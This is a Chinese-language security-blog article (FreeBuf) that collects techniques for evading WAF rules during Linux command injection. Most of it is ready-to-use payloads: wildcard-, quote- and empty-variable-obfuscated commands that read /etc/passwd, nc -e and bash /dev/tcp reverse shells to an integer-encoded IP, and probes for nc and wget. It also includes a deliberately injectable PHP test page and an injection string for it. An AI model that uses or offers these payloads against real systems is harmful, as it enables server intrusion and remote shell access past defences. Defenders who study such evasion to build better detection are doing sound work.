命令執行WAF繞過技巧總結
*本文作者:zusheng,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
如今市面上的WAF幾乎都已經具備了針對RCE攻擊的防禦能力,這些WAF並不是想象中毫無破綻,當Web伺服器是Linux平臺時我們就可以利用一些技巧來繞過WAF規則集。本文主要總結Linux平臺下針對RCE WAF的繞過技巧,Windows平臺不在本文考慮範圍內。
0×01 技巧一:萬用字元
在bash的操作環境中有一個非常有用的功能,那就是萬用字元,下面列出一些常用的萬用字元:
*代表『 0 個到無窮多個』任意字元 ?代表『一定有一個』任意字元 [ ]同樣代表『一定有一個在括號內』的字元(非任意字元)。例如 [abcd] 代表『一定有一個字元, 可能是 a, b, c, d 這四個任何一個』 [ - ]若有減號在中括號內時,代表『在編碼順序內的所有字元』。例如 [0-9] 代表 0 到 9 之間的所有數字,因為數字的語系編碼是連續的! [^ ]若中括號內的第一個字元為指數符號 (^) ,那表示『反向選擇』,例如 [^abc] 代表 一定有一個字元,只要是非 a, b, c 的其他字元就接受的意思。
我們可以使用萬用字元來執行命令,例如執行命令:
ls -l 使用萬用字元 /?in/?s -l
讀取/etc/passwd:
/???/??t /??c/p???w? 有時候WAF不允許使用太多的?號 /?in/cat /?tc/p?sswd
NC反彈shell:
nc -e /bin/bash 127.0.0.1 3737 為了避免符號.我們可以將IP地址轉換成整型。 127.0.0.1 → 2130706433 使用萬用字元 root@kali:~# /??n/?c -e /??n/b??h 2130706433 3737
0×02 技巧二:連線符
在bash的操作環境中還有一個非常有用的功能,那就是連線符,例如:
root@kali:~# echo hello hello root@kali:~# echo h'ello > ' hello root@kali:~# echo 'h'ell'o' hello
你唯一需要注意的就是閉合,這點很重要,利用這個我們可以繞過一些匹配字串的WAF規則。
讀取/etc/passwd:
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
獲取shell
檢測NC:
/'b'i'n'/'w'h'i'c'h' 'n'c
沒有NC的情況檢查wget:
/'b'i'n'/'w'h'i'c'h' 'w'g'e't
簡單粗暴(容易被檢查):
bash -c 'sh -i &>/dev/tcp/2130706433/3737 0>&1'
其他字元:
雙引號 /"b"i"n"/"w"h"i"c"h" "n"c
反斜杆 /b\i\n/w\h\i\c\h n\c
0×03 技巧三:未初始化的bash變數
在bash環境中允許我們使用未初始化的bash變數,如何
$a,$b,$c
我們事先並沒有定義它們,輸出看看:
root@kali:~# echo $a root@kali:~# echo $b root@kali:~# echo $c root@kali:~#
未初始化的變數值都是null。
讀取/etc/passwd:
cat$a /etc$a/passwd$a
測試WAF
測試程式碼:
<?php echo "OK"; system('dig '.$_GET['host']); ?>
www.baidu.com;$s/bin$s/which$s nc$s
反彈shell:
/bin$s/nc$s -e /bin$s/bash$s 2130706433 3737
執行:
成功:
0×04 總結
本文我們主要利用了bash的萬用字元、連線符、未初始化的變數三個特性來繞過WAF規則,當然你可能有更好的辦法,歡迎大家補充,最後感謝樂於分享的安全研究員們,沒他們的分享也不會有這麼多技巧出現,謝謝分享。
*本文作者:zusheng,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。